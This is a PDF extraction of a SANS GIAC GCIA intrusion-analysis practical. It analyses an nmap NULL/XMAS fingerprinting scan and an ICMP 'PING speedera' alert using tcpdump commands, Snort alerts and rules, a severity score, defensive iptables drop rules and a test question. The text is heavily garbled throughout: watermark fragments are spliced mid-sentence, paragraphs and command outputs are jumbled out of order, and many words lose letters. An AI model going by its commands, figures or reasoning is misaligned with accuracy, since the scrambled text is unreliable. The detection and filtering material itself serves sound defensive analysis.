It is possible to have more than one of the SYN, FIN, RST and PSH ags in a single segment, although normally only one is set at a time. This type of packet is known as a XMAS packet [STEV1, page 230]: RFC 1025, calls a segment with the maximum combination of allowable ags bit turned on at once (SYN, URG, PSH, FIN and 1 byte of data) a Kamikaze packet. Its also known as a nastygram, Christmas tree packet (XMAS) and lamp test segment. All these names come from the idea of having every lamp (bit) turned on. Although the packet type seen here only has the URG, FIN and PSH ags and no TCP data is sent, Snort considers it as a XMAS packet. Some references use the term XMAS packet to dene a TCP segment where all the ags have been turned on, a Probe FULL XMAS Scan 15 . The ones seen in the traces correspond to a Probe XMAS scan 16 . The nmap Xmas tree scan turns on the FIN, URG, and PUSH ags, so it is very likely nmap ngerprinting was used to generate the detect trafc. Again, as in the NULL packet case, the default nmap XMAS scan, -sX, is different and sets the TCP sequence and ACK numbers to zero. A Google search for STEALTH ACTIVITY (NULL scan) detection provided several previous postings of this type of scanning activity, although no reports about NULL scans against the destination address were found on Internet. 17 The HoneyNet = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4the analysis of a Key fingerprint project, Scan of The Month 23 , consisted on A169 4E46 binary log le associated to ve different scanning methods. All these, including a NULL scan, should be analyzed by the participants. The NULL scan was generated by nmap, adding some ngerprinting methods, so it is slightly different from the one analyzed here. The winner post can be found at 18 . Apart from that, Andy Millican analyzed the NULL scan method, again based on nmap and slightly different from the detect, in its GSEC paper called Network Reconnaissance - Detection and Prevention, January 23, 2003, at 19 . Trafc similar to the one of this detect has been analyzed in the following instances: David A. Shinberg talks in its GCIH paper about a NULL scan performed using nmap, the packet shown matches the packets analyzed in this paper when using ngerprinting methods: David A. Shinberg: A Management Guide to Penetration
15 16
http://www.whitehats.com/info/IDS144 http://www.whitehats.com/info/IDS30 17 http://project.honeynet.org/scans/scan23/ 18 http://project.honeynet.org/scans/scan23/sol/Nick/index.html 19 http://www.giac.org/practical/GSEC/Andy_Millican_GSEC.pdf
SA
NS
In
sti
tu
te
20
04
,A
32
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
Key
- http://www.cyberarmy.co.kr/snort_data/snort_04/211/38/45/src211.38.45.138-3001. html
20 21
http://www.giac.org/practical/GCIH/David_Shinberg_GCIH.pdf http://archives.neohapsis.com/archives/snort/2001-12/0086.html 22 http://delorian.etxea.homelinux.net/snortlog/80/91/84/src80.91.84.129.html 23 http://www.security-forums.com/forum/viewtopic.php?t=6423 24 http://users.wpi.edu/~goos/CS525T/proj-report
This was one of the reasons why I selected it from the whole set of alerts available at incidents.org. What surprised me a lot was the huge amount of people publishing its Snort logs, mainly through Snortsnarf reports, publicly and openly on Internet, allowing anyone to check, consult and analyze the alerts reported by their IDSes. This could provide clues to a potential attacker because he can test if certain evil activities are detected or not. Other NULL scans, from different sources and different from the packet analyzed, thus, not involved in nmap ngerprinting:
SA
NS
In
sti
tu
te
20
- Honeypots: Tracking the Blackhat Community. Jae Chung, Matt Hartling, Zach Lawson, Frank Posluszny 24 . - www.greyskull.org through ACID [ACID1]: http://www.greyskull.org/acid/acid/acid_ fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 stat_alerts.php - DMZ Services, Inc. http://www.dmzs.com/info/news/snort.phtml
04
,A
ut
But typically, this alert is reported as one of the less repeated warnings in the IDSes. Some examples are:
ho
rr
33
- longinus.dyndns.org through ACID: http://longinus.dyndns.org/acid/acid_stat_alerts. php?caller=most_frequent\&sort_order=occur_d
eta
Testing. SANS GCIH. Year 2003 20 . The logs available at 21 show a nmap, version 2.54BETA30, ngerprinting scanning, generating a packet very similar to the one analyzed here. Everything is the same except that the DF bit has been set (DF: dont fragment). Logs at 22 also show the same type of NULL packet and alert. All packets and references described maintain the same structure as the one analyze in the detect. All of them present reasonable variations, like timestamp, IP addresses and ports, TTL variations, sequence numbers and TCP windows, because nmap changes them randomly. There is an example 23 of a Snort NULL scan detection related to NULL packets generated by hping. It is less similar to this detect than the nmap scan. Some web pages have published information about the top alerts triggered by their IDS, being the NULL scan one of them:
ins
fu ll r igh ts.
Raul Siles - GCIA
- http://www.cyberarmy.co.kr/snort_data/snort_04/211/38/45/src211.38.45.48-1101. html - http://snort.cyberarmy.co.kr/snort_04/211/38/45/src211.38.45.174-1501.html
2.1.7
Evidence of active targeting
- Trafc to 198.61.16.19 (dst): 10 packets are sent to it from 115.74.249.65.

# tcpdump -nn -r 2002.8.23 dst host 198.61.16.19 | cut -d " " -f 2 | \ cut -d "." --fields=1,2,3,4 | sort | uniq -c 10 115.74.249.65
These packets correspond to the 10 alerts analyzed previously. Source System:

25 26
http://cert.uni-stuttgart.de/archive/intrusions/2003/01/msg00026.html http://www.dshield.org/ipinfo.php?ip=198.61.16.19
SA
# tcpdump -nn -r 2002.8.23 src host 198.61.16.19 | cut -d " " -f 4 | sort -u | wc -l 0
NS
- Trafc from 198.61.16.19 (src): 0 hosts are contacted from this host.
In
Destination system: The only trafc addressed to the destination system, 198.61.16.19, is the one analyzed (10 packets), coming from the source system, 115.74.249.65:
sti
tu
te
The scan activity is addressed against one specic system, trying to get more information about it. The non-sanitized destination IP was run through the database at Dshield.org web page 26 and no information about active targeting, from or to it, was reported. An additional step will be analyzing all the trafc generated from the source address and all the trafc addressed to the destination system in order to understand what is taking place and the relationships with other hosts. This analysis should be performed from the raw network trafc and from the Snort alerts generated. A complete network audit trail would provide information about the responses generated due to the ngerprinting activities, and would let perform a more detailed analysis about the remote operating system and the information obtained. To understand the following analysis it must be taken into account that the logKey fingerprint = AF19 FA27 2F94 998D FDB5 DE3D Snort alerts, so some ging information only contains packets that generated F8B5 06E4 A169 4E46 information was missed and it is unknown today. It would be very useful to have a complete network audit trail to be able to analyze all the trafc.
20
04
,A
34
ut
ho
rr
eta
ins
fu ll r igh ts.
Searching into the incidents.org mailing list repository it was found that only 1 post used the same binary le, 2002.8.23. The XMAS scan related to the NULL scan analyzed here was studied by Johnny Calhoun in its GCIA practical 25 .
Raul Siles - GCIA
Key
However, all these packets generate an alert even nowadays, 211, addressed to this host from 48 different hosts: as mentioned before, it is important to analyze not only all the network trafc but also the alerts generated by Snort. Due to the fact that the only 10 packets going to the destination system generated an alert, we are going to focus on all the other alerts related to the source system: - Alerts where source host is 115.74.249.65:
# cat alert.2002.8.23 | grep "^115\.74\.249\.65" | wc -l 10
- Alerts where destination host is 115.74.249.65:

# cat alert.2002.8.23 | grep -e "-> 115\.74\.249\.65" | wc -l 211
SA
NS
In
sti
# tcpdump -nn -r 2002.8.23 dst host 115.74.249.65 | wc -l 211 fingerprint #=tcpdump -nn -r 2002.8.23 dstFDB5 DE3D F8B5 06E4 A169 4E46 AF19 FA27 2F94 998D host 115.74.249.65 | cut -d " " -f 2 | \ cut -d "." --fields=1,2,3,4 | sort -u | wc -l 49 # tcpdump -nn -r 2002.8.23 dst host 115.74.249.65 | cut -d " " -f 2 | \ cut -d "." --fields=1,2,3,4 | sort | uniq -c | sort -rn 51 207.188.7.150 44 63.111.48.133 17 207.68.132.10 11 202.39.56.25 ...
tu
te
20
04
,A
- Trafc to 115.74.249.65 (dst): on the other side, the system has also received some trafc (211 packets) and the conversations that generate them were originated in 49 different source hosts. Most trafc is exchange with the 4 hosts shown below:
ut
ho
rr
35
$ tcpdump -nn -r 2002.8.23 src 3553 $ tcpdump -nn -r 2002.8.23 src cut -d "." --fields 1,2,3,4 | 197 $ tcpdump -nn -r 2002.8.23 src cut -d "." --fields 1,2,3,4 | 891 216.136.173.16 518 64.154.80.51 457 64.154.80.49 228 64.154.80.45 191 64.154.80.44 161 64.154.80.47 142 64.154.80.50 ...
host 115.74.249.65 | wc -l
host 115.74.249.65 | cut -d " " -f 4 |\ sort -u | wc -l host 115.74.249.65 | cut -d " " -f 4 | \ sort | uniq -c | sort -rn
eta
ins
fu ll r igh ts.
- Trafc from 115.74.249.65 (src): It seems there is too much activity in the source host, 3553 packets going out of it addressed to 197 different hosts, although nowadays it only generates the 10 alerts previously analyzed (remember all these packets generated an alert when Snort was run; thats the reason why they were logged). Most trafc goes to the set of IP addresses shown below:
Raul Siles - GCIA
Using the information extracted from Snortsnarf it is possible to easily see that this host is the only destination for all the SHELLCODE Snort alerts. Snortsnarf has been used to extract information about the analyzed le, 2002.8.23 (see table 2.1). Alerts are classied by name and not by SID, as was made manually in section 2, but Snortsnarf also obtains 243 alerts. Analyzing the statistics extracted by this tool there is no relationship between the source addresses generating the SCAN nmap TCP and the SHELLCODE alerts. Looking into all this information, we could guess that the source host has received a lot of network activity (stimulus), and has generated lot of responses. Part of the trafc generated corresponds to the NULL scan analyzed, so it seems that
SA
NS
In
sti
tu
10 packets, 1 host -----------------------> (10 alerts) Src. host: 115.74.249.65 Dst. host: 198.61.16.19 Key fingerprint = <----------------------AF19 FA27 2F94 998D FDB5 ^ DE3D F8B5 | ^ | | | 0 p (0 a) | 0 p | 0 packets 3543 packet| | 211 packets |(0 a)| (0 alerts) 196 hosts | | 49 hosts | | (0 alerts) | | (211 alerts) | | | | | | --> <Other systems> --> <Other systems>
04
,A
ut
ho
To sum up all this information, the source system 115.74.249.65 has only generated 10 alerts as source host, all them associated to trafc going out from it to the other host analyzed, 198.61.16.19, but it has been the most addressed system in the binary le, with 211 alerts directed to it as destination host (one per packet received), summarized in 6 different signatures. From all the above information the simplied link diagram showed in gure 2.11 can be obtained:
rr
eta
ins
te
Figure 2.11: Link diagram
20
36
fu ll r igh ts.
# cat alert.2002.8.23 | grep -e "-> 115\.74\.249\.65" | \ cut -d " " -f 1 | cut -d ":" -f 1 | sort -u | wc -l 49 # cat alert.2002.8.23 | grep -B 4 -e "-> 115\.74\.249\.65" | \ grep -F "[**]" | sort | uniq -c | sort -rn 121 [**] [1:648:5] SHELLCODE x86 NOOP [**] 55 [**] [1:1390:3] SHELLCODE x86 inc ebx NOOP [**] 24 [**] [1:1394:3] SHELLCODE x86 NOOP [**] 4 [**] [1:628:2] SCAN nmap TCP [**] 3 [**] [1:650:5] SHELLCODE x86 setuid 0 [**] 3 [**] [1:649:5] SHELLCODE x86 setgid 0 [**] 1 [**] [1:653:5] SHELLCODE x86 unicode NOOP [**]
06E4 A169 4E46
Raul Siles - GCIA

Priority 2 2 2 1 1 1 Signature SHELLCODE x86 setuid 0 SHELLCODE x86 setgid 0 SCAN nmap TCP SHELLCODE x86 unicode NOOP SHELLCODE x86 inc ebx NOOP SHELLCODE x86 NOOP

# alerts 3 3 11 1 55 145 # src 2 3 6 1 29 13 # dst 1 1 3 1 1 1
Table 2.1: Alerts classied by Snortsnarf
the host has been compromised and it is being used for other attacks. A deeper analysis of all these alerts should be made to conrm this statement. The NULL packet belongs to a very specic scanning against one individual host.
Severity = (Criticality + Lethality) - (System countermeasures + N etwork countermeasures)
Packets going to/from the source host:

$ tcpdump -nn -r 2002.8.23 host 115.74.249.65 | wc -l $ tcpdump -nn -r 2002.8.23 dst host 115.74.249.65 | wc -l $ tcpdump -nn -r 2002.8.23 src host 115.74.249.65 | wc -l --> 3764 --> 211 --> 3553
SA
- Destination: Due to the fact that the target system doesnt belong to our network, and that there is no information about the response packets received from it, it is not possible to know the system purposes and value. Therefore I will assume a value of 2, a Unix user workstation. - Source: Instead, the source system can be evaluated, as it belongs to our network, and obtain how critical it is. The alerts data has been analyzed to get the potential services this system is running:
NS
In
Criticality:
sti
tu
Typically, an alert is analyzed from the destination host perspective in order to evaluate the impact it had over the target, but in this detect, the destination system Keyattacked doesnt belong 2F94 998D FDB5 DE3D F8B5it06E4 A169 4E46 comment on fingerprint = AF19 FA27 to the analysts network, so is important to some facts associated to an alert being triggered from our own network. Therefore, Im going to analyze the formula twice, from the destination host perspective (as usual) and from the local network point of view where the sensor had been installed.
te
20
04
,A
ut
37
SANS Institute 2004, As part of GIAC practical repository.
ho
There is an attack metric, called Severity, which can be measured based on the formula shown below; in order to obtain a nal value, each variable should be ranked from 1 (lowest) to 5 (highest):
rr
eta
2.1.8
Severity
ins
fu ll r igh ts.
Raul Siles - GCIA
List of destination ports addressed by some packet directed to this host:

# tcpdump -nn -r 2002.8.23 dst host 115.74.249.65 | cut -d -f 4 |\ cut -d . -f 5 | cut -d : -f 1 | sort -un 53, 4100, 61010, 61011, ..., 65074
# tcpdump -nn -r 2002.8.23 src host 115.74.249.65 | cut -d -f 2 |\ cut -d . -f 5 | sort -un | more 61000, 61001, 61002...
Lethality:
System countermeasures: - Destination: Due to the fact that there are no data about responses from the destination host, it is not possible to evaluate the applied protections. Lets imagine it is a modern OS, with the security patches applied but not very advanced security features in place, so it scores a 4. - Source: Again, the local system will be analyzed to see the protections involved. Almost all trafc is associated to client ports. Based on the lack of information, suppose there is no personal rewall running, and the system have some security patches applied: the value associated would be 3.
SA
NS
In
- Destination: If the attack were successful the damage on the end system would not be very high. As have been already stated, the detect is part of a reconnaissance scan, and the result obtained will provide, in the worse case, accurate information about the operating system Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 of the remote host. This information would be helpful to run other future specic attacks. Its associated value is 2; it is an early phase within the attack process. - Source: As a conclusion I gure out that this system has been compromised and is being used to launch other attacks. To be able to generate raw network packets in the local system, as the NULL and XMAS packets, the attacker has obtained root access. So, this variable value is 5.
sti
tu
te
20
04
,A
38
ut
ho
rr
Initially it seems this system was acting as a DNS server (port 53). Analyzing the typical server ports, 53 and 4100, it is conrmed that this trafc was part of some scanning process but we dont know if the packets were replied (only alerting trafc was logged). Based on this information, lets suppose the system was a DNS server. Therefore, it has a value of 5.
eta
ins
fu ll r igh ts.
List of source ports associated to packets going out from this host: all them are client ports.
Raul Siles - GCIA Network countermeasures:
To sum up, the nal value for both formulas are:
The main protection against this kind of undesired trafc, as mentioned, is ltering. Other methods are not effective against it, like operating system hardening, security patches upgrades, usage of encryption protocols... Two types of lters are recommended, ingress and egress. On the one side, ingress ltering will block or drop the packets addressed to the internal network. This protection wont allow external attackers to discover new internal system and services or ngerprint them. On the other side, egress ltering will lter the packets going out to other networks, as the ones involved in the detect analyzed, blocking attacks originated from the internal systems and developed by internal users or external users that have compromised local systems. It is recommended to generate lter rules in the way the anti spoong ltering rules are created, that is, generic rules ltering not allowing packets, such as NULL
SA
NS
In
sti
- Discover new active hosts. - Discover available services in a given host. - Discover the OS of a target host (OS ngerprinting).
tu
te
20
NULL packets, because they will never belong to an already established TCP connection, can be silently dropped by a packet lter device, such as a rewall. This type of packets can be ltered at the border level, using a perimeter rewall, or at Keythe host level, by means2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 bypass the fingerprint = AF19 FA27 of personal rewalls. They are sent hoping to rewall/packet lter policy in order to:
04
,A
ut
ho
2.1.9
Defensive recommendation
rr
39
Severity on the destination system = (2 + 2) (4 + 4) = 4 Severity on the source system = (5 + 5) (3 + 2) = 5
eta
ins
fu ll r igh ts.
- Destination: For the same reason as the system protections, there is no data to evaluate this variable. Image that a rewall was protecting the remote network, so this is the reason why no responses were received. Its value is 4. - Source: Due to the fact that ICMP packets have been omitted from the log les, it is not possible to know if some Administratively prohibited notication was received. Suppose that there is no local perimeter device ltering evil packets from going out, so no one is dropping the outgoing evil packets. There is a rewall for ingress ltering but it allowed the attack that compromised the box through. Therefore, its value is 2.
Raul Siles - GCIA
# NULL packets: no flags set iptables -A INPUT -p tcp --tcp-flags ALL NONE -j LOG --log-prefix "Firewall: NULL packet received !!" iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP # Full XMAS packets: iptables -A INPUT -p "Firewall: Full XMAS iptables -A INPUT -p all flags set tcp --tcp-flags ALL ALL -j LOG --log-prefix packet received !!" tcp --tcp-flags ALL ALL -j DROP
Apart from the protection countermeasures, having a monitoring solution to detect this kind of activities is desirable at both, the network perimeter and the internal networks NIDS, and even at the host level HIDS. This would allow detecting scans from outside and scans originated from inside. This type of scan should always be triggered by the IDS solution because it represents anomalous trafc, FA27 2F94 998D prelude to a future 06E4more dangerous Key fingerprint = AF19 and it may be a FDB5 DE3D F8B5 and A169 4E46 attack. It would be important for the analyst to research this type of alerts. Having a full network trail would also improved the analysis process, providing the required information to understand the whole picture, therefore, prepare the defensive countermeasures. There is a cheaper alternative solution to the full network audit trail. Snort has a keyword called tag that allows to log just more than one single packet, so when a rule is triggered, additional trafc associated to the same source host can be logged. This would allow to obtain the responses generated after the NULL packets. By the way, this is the least used rule option in Snort ;-) Besides, it would be technically possible to let the IDS buffer the packets so when an alert is trigger not only the following packets, but the previous ones, were logged. The problem with this kind of implementation resides in the fact that it doesnt scale well. Roughly speaking, in a Gigabit network you will need about 21 Gbytes (10Gbps/8bits 17s) of RAM memory space to be able to save 17 seconds of network traces. Finally, it will be possible to tweak the TCP/IP stack of some operating systems and applications (Linux, *BSD, Checkpoint...) in order to defeat the results obtained by the nmap ngerprinting methods [BARR1].
SA
NS
In
sti
tu
te
20
04
,A
40
ut
ho
rr
eta
ins
fu ll r igh ts.
packets, XMAS packets and other packet variations that can never be part of a valid TCP connection/session. These other types could be FIN packets without the ACK bit set, SYN packets with FIN or RST bits set. . . This protection would reduce the success of a potential ngerprinting scanning attack, therefore reducing the possibility of further and more dangerous attacks. For example, it is possible to dene rules for the Linux iptables rewall to block these types of packets:
Raul Siles - GCIA
This defensive countermeasure is based on the security through obscurity philosophy and, from my point of view, it is not recommended in this case because it would break the next generation of IDSes, based on learning the network topology and its elements in order to add contextual information to the IDS infrastructure [RNA1].
2.1.10
Multiple choice test question
Explanations:
a) As has been analyzed, the nmap ngerprinting NULL packets include TCP Options, and the RFC 1122 denes that the TCP options could be accepted in any TCP packet. b) An XMAS packet is a completely different packet with several TCP ags turned on. c) NULL packet triggered the alert. d) Although some documents denes a NULL packet with a TCP sequence number of zero, others dont. For example, nmap generates NULL packets with a valid TCP sequence number value.
SA
NS
In
sti
tu
te
20
04
Correct answer: c) Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
,A
a) b) c) d)
A NULL packet cannot have TCP Alert was triggered by a XMAS Alert was triggered by a NULL A NULL packet must have a TCP
ut
ho
rr
41
Options. packet. packet. sequence number value of zero.
eta
Which of the following clauses is true in relation with the packet that triggered the above Snort alert?
ins
[**] [111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection [**] 09/23-19:38:49.836507 0:0:C:4:B2:33 -> 0:3:E3:D9:26:C0 type:0x800 len:0x4A 115.74.249.65:61616 -> 198.61.16.19:21 TCP TTL:50 TOS:0x0 ID:11286 IpLen:20 DgmLen:60 ******** Seq: 0x417A1598 Ack: 0x0 Win: 0x800 TcpLen: 40 TCP Options (4) => WS: 10 NOP MSS: 265 TS: 1061109567 0
fu ll r igh ts.
2.2. DETECT 2: PING SPEEDERA
Raul Siles - GCIA
2.2
DETECT 2: PING speedera
The following alert corresponds to the detect that it is going to be analyzed:

[**] [1:480:2] ICMP PING speedera [**]
2.2.1
Source of Trace
$ tcpdump -nn -e -r snort.log.1063894999 | cut -d -f 2,6 |\ cut -d. -f 1,2,3,4 | sort -u | grep -F "0:e0:34:ca:50:23" | wc -l 63
This includes hosts from the following networks: 10.178, 10.180, 10.181, 10.206, 10.190 and 10.23.
$ tcpdump -nn -e -r snort.log.1063894999 | cut -d -f 2,6 | \ cut -d. -f 1,2,3,4 | sort -u | grep -F "0:e0:34:ca:c0:23" | wc -l 7
SA
The rst MAC address corresponds to a host that associates two logical subnets to the same physical network interface.
NS
In
$ tcpdump -nn -e -r snort.log.1063894999 | cut -d -f 2,6 |\ cut -d. -f 1,2,3,4 | sort -u | grep -F "0:2:a5:9c:6e:6e" 0:2:a5:9c:6e:6e 10.181.132.167 0:2:a5:9c:6e:6e 192.168.0.20
sti
tu
te
Once the MAC addresses are known, it is possible to obtain which IP addresses they are representing:
20
$ tcpdump -nn -e -r snort.log.1063894999 | cut -d -f 2,6 |\ cut -d. -f 1,2,3,4 | sort -u | cut -d -f 1 | uniq -d 0:2:a5:9c:6e:6e 0:e0:34:ca:50:23 Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 0:e0:34:ca:c0:23
04
,A
ut
ho
The detect has been generated by a Snort instance running in a LAN production network. The sensor is monitoring all trafc going to and coming from all the systems placed in the class C LAN network, 10.181.132.0/24. It is a multivendor infrastructure LAN with different OS systems and versions: Windows, HP-UX, Linux, Tru64, Solaris, Cisco... The Snort alert le is the data source and only the packets that violate the ruleset were logged. In order to nd the router devices, it is needed to get all associations between one source MAC address and different source IP addresses, that is, the same MAC is used to represent different IP addresses:
rr
eta
ins
42
fu ll r igh ts.
A169 4E46
Raul Siles - GCIA
This includes hosts from the following networks: 10.139, 10.197, 10.206, 10.228, 10.43, 10.4 and 10.195. Therefore, as a conclusion we can determine there are two default Cisco routers using the HSRP protocol. The Cisco OUIs are [00-E0-34] [IEEE1], and the virtual HSRP address uses group 3 and the [00:00:0C:07:AC:0 ] MAC:
# ? ? ? arp -an (10.181.132.3) at 00:E0:34:CA:50:23 [ether] on eth0 (10.181.132.2) at 00:E0:34:CA:C0:23 [ether] on eth0 (10.181.132.1) at 00:00:0C:07:AC:03 [ether] on eth0
# tcpdump -nn -e -r snort.log.1063894999 | cut -d -f 3,8 |\ cut -d. -f 1,2,3,4 | sed -e s/:$// | sort -u | cut -d -f 1 | uniq -d
NS
Internet -- Router -- External --- Cisco router ------- Switch ---- NETWORK ---networks 0:e0:34:ca:50:23 | 10.181.132.0/24 10.0.0.0/8 OR | 0:e0:34:ca:c0:23 | (HSRP) Snort IDS
In
sti
SA
10.197.231.79 10.139.142.147
tu
First one corresponds to multicast trafc. Second one, due to the multivendor Keynature of thisAF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 one hand, fingerprint = network, represents the subnet broadcast address, on the using the typical notation, .255, and on the other, using the BSD-style, .0. The same MAC is also used to reference all IP hosts (global broadcast address). Therefore, the network topology is shown in gure 2.12:
te
20
04
,A
1:0:5e:7f:ff:fa ff:ff:ff:ff:ff:ff
--> 239.255.255.250 --> 10.181.132.0, .255 and 255.255.255.255.
ut
ho
All destination associations belong to the local class-C network analyzed, 10.181.132.0/24, except two addresses:
rr
43
eta
ins
The same process cannot be applied to the destination associations, because instead of providing information about gateways it will show multiaddress hosts where several IP addresses are associated to the same network interface card, NIC. To get this information the following command could be used:
Last lines show the IP addresses of the specic systems involved in this detect.
2.2.2 Detect was generated by

The detect was generated through the Snort [SNOR1] Network Intrusion Detection System, NIDS, version 2.0.1 (Build 88), running on a RedHat Linux 7.3 system for an Intel platform.
fu ll r igh ts.
10.181.132.49
Raul Siles - GCIA
The default ruleset slightly modied and Snort conguration le, snort.conf, were used. The include rule lines commented by default in this le were activated. The following command was used to analyzed the log le:
# snort -c /opt/snort-2.0.1/etc/snort.conf -l ./log -A full -qbdX
-c FILE: -l DIR: -A full: -q: -b: -d: -X: specifies the Snort configuration file (described above) and run Snort in NIDS mode. logging directory: alerts and packet logging. generate alerts showing full decoded header and the alert message. dont show banner and status/summary report. log in binary tcpdump format. display the application layer data. dump the raw packet data starting at the link layer.
[**] [1:480:2] ICMP PING speedera [**] [Classification: Misc activity] [Priority: 3] 10/03-10:23:56.051515 10.197.231.79 -> 10.181.132.49 ICMP TTL:121 TOS:0x0 ID:43307 IpLen:20 DgmLen:60 Type:8 Code:0 ID:512 Seq:27680 ECHO [**] [1:480:2] ICMP PING speedera [**] [Classification: Misc activity] [Priority: 3] 10/05-16:46:30.603552 10.139.142.147 -> 10.181.132.49 ICMP TTL:121 TOS:0x0 ID:19679 IpLen:20 DgmLen:60 Type:8 Code:0 ID:512 Seq:65084 ECHO
SA
Both packets correspond to ICMP echo requests, Type:8 and Code:0, and were detected with an interval of 2 days and 6 hours between both (the 3rd and 5th of October of 2003). There are several elds that are normal, like the different IP identication values, the different ICMP sequence numbers and the Type Of Service (TOS). 44
NS
In
Figure 2.14: Network detects for detect2
sti
tu
te
Both fingerprint = AF19 FA27 packets coming from two different external source Key detects correspond to 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 hosts, 10.197.231.79 and 10.139.142.147, to the same destination system, 10.181.132.49. In order to fully understand the type of alert analyzed and its impact it is recommended to study all its elds and meaning:
20
04
,A
# grep -F "[**]" alert | wc -l 25508
ut
ho
Snort options are shown in gure 2.13. The monitoring was not using the UTC time reference but the one of the system where Snort was running, CET for Spain. The analysis is focused on the following two alerts selected from a total of 25508 alerts triggered in a period of about 20 days between 09/18-16:27:18 and 10/07-16:33:26 (obtained from the timestamp of the rst and last alerts in the le):
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
Figure 998D FDB5 DE3D F8B5 06E4 A169 4E46 Key fingerprint = AF19 FA27 2F942.15: Traceroute to each source host
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING speedera"; content: "|3839 3a3b 3c3d 3e3f|"; depth: 100; itype: 8; sid:480; classtype:misc-activity; rev:2;)
This ruleset le contains potential bad ICMP trafc, such as ICMP scannings. Other ICMP trafc is dened in the icmp-info.rules le. The alert has been categorized as miscellaneous trafc and its signature ID, SID, is 480, revision 2, meaning there was a previous version in older Snort versions. Therefore it is identied as 1:480:2. First 1 indicates that the alert was 45
SA
This system was not available at the time this research was made (it was a DHCP address as explained later) but it seems to be at the same distance as the previous host, as expected. Some of the packet features can help in determining the source OS generating the probes [PASS1]: based on the TTL it seems both source system were Windows boxes. This was conrmed remotely in a later analysis checking that they run the Microsoft-IIS/5.0 web server. The alert was triggered by the following Snort rule that belongs to the Snort icmp.rules set:
NS
In
sti
tu
te
20
04
,A
# traceroute 10.139.142.147 traceroute to 10.139.142.147 (10.139.142.147), 30 hops max, 38 byte packets 1 10.181.132.3 (10.181.132.3) 2.171 ms 1.094 ms 1.951 ms 2 10.191.228.23 (10.191.228.23) 15.148 ms 17.252 ms 21.279 ms 3 10.191.240.15 (10.191.240.15) 67.596 ms 70.680 ms 85.908 ms 4 10.195.186.10 (10.195.186.10) 107.467 ms 161.057 ms 105.292 ms 5 babnhgw1.cnns.company.com (10.191.32.33) 143.407 ms 119.741 ms 142.026 ms 6 babncat121wangw1.babn.company.com (10.139.251.13) 110.588 ms 132.345 ms 141.987 ms 7 emgt4.babn.company.com (10.139.142.147) 102.431 ms 100.488 ms 100.895 ms # traceroute 10.197.231.79 traceroute to 10.197.231.79 (10.197.231.79), 30 hops max, 38 byte packets 1 10.181.132.3 (10.181.132.3) 1.339 ms 1.428 ms 1.245 ms 2 10.191.228.23 (10.191.228.23) 25.921 ms 19.509 ms 15.982 ms 3 10.191.240.15 (10.191.240.15) 75.021 ms 77.615 ms 66.731 ms 4 10.195.186.10 (10.195.186.10) 101.750 ms 114.393 ms 108.058 ms 5 babnhgw1.cnns.company.com (10.191.33.33) 143.312 ms 123.700 ms 109.424 ms 6 babncat121wangw1.babn.company.com (10.139.251.13) 145.922 ms 131.994 ms 146.948 ms 7 * * *
ut
ho
rr
eta
ins
fu ll r igh ts.
The packet length is 60 bytes: 20 bytes for the IP header (IpLen) and 40 for the ICMP header plus the payload. The ICMP ID had a value of 512. All other packet elds will be analyzed in section 5. At rst instance it is strange that both packets have the same TTL value, 121, although they belong to different networks, 10.197 and 10.139; however this can be just a coincidence. It is most likely that the initial TTL was 128, and this information can be conrmed tracing back the source hosts from the Snort or the target system (both are placed in the same subnet) as shown in gure 2.15:
Raul Siles - GCIA
10.181.132.49 10.197.231.79 10.139.142.147
The mgt in the hostname of the third system would probably determine it is a management system. Probably, the other source system, using a dynamic IP address (dhcp) at the time the detect was triggered, is a test host running management probes and this is the reason why it was not active when this analysis was developed. 46
SA
ICMP packets can be easily spoofed having enough privileges in the source system, such as root in a Unix box, to be able to generate raw packets. The ICMP protocol is typically used in reconnaissance techniques, commonly developed using real addresses, because the attackers main goal is to be able to receive the responses generated by the destination host. Due to this fact it is almost certain that the source address has not been spoofed. Besides, it is known that there are antispoong lters in this topology between Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 the class-B network boundaries, and because both source and the destination IP addresses belong to different class-B subnets, this fact conrms that the IP addresses were not spoofed. However, there are times where there are no antispoong lters in place, and it is possible for an attacker to use a spoofed IP address and use reconnaissance methods. He just needs to have control of an intermediate system located in the path between the spoofed host and the destination to monitor all the trafc generated as the responses to the scans. Both, source and destination addresses belong to the company internal network private range, 10.0.0.0/8, and their name resolution is:
- target.company.com - dhcp-10-197-231-79.babn.company.com - emgt4.babn.company.com
NS
In
sti
tu
te
20
04
,A
ut
ho
rr
eta
2.2.3
ins
generated by the main Snort Rule Engine and not by any of its preprocessors (see Snort /etc/generators le). The notication is triggered when an echo ICMP packet, itype: 8 (Type:8 Code:0) is received from an external network addressed to the internal network. The packet must contain the following binary pattern: 3839 3a3b 3c3d 3e3f, represented as a set of hexadecimal values, in the packet payload within the rst 100 bytes (depth: 100). Snort implements the Boyer-Moore pattern matching function for this type of comparison [SNOR2]. The hexadecimal value searched can be translated to the following ASCII string: 89:;<=>?. The ICMP types and codes can be found in the Snort decode.h le inside the src directory. Look for ICMP ECHOREPLY string.
fu ll r igh ts.
Raul Siles - GCIA
2.2.4
2.2.5
Attack mechanism
SA
NS
-e: -nn: -vv: -X: -r FILE:
display Ethernet (layer-2) information. no name and port translation through DNS. very verbose output. display payload in both, ascii and hexadecimal. binary log file to get the network traces from (libpcap format).
In
sti
Alerting packets between 10.197.231.79 and 10.181.132.49 may be seen in gure 2.17. The ICMP packet (second one) corresponds to the detect analyzed. Additionally to the information provided during the alert analysis, it can be mentioned that the ICMP header is 8 bytes long, [0800 96dc 0200 6c20], and that the payload, 32 bytes, contains the string .!"#$%&()*+,-./0123456789:;<=>?. The DF bit has not been set. The ICMP sequence number is 6c20. Apart from 47
tu
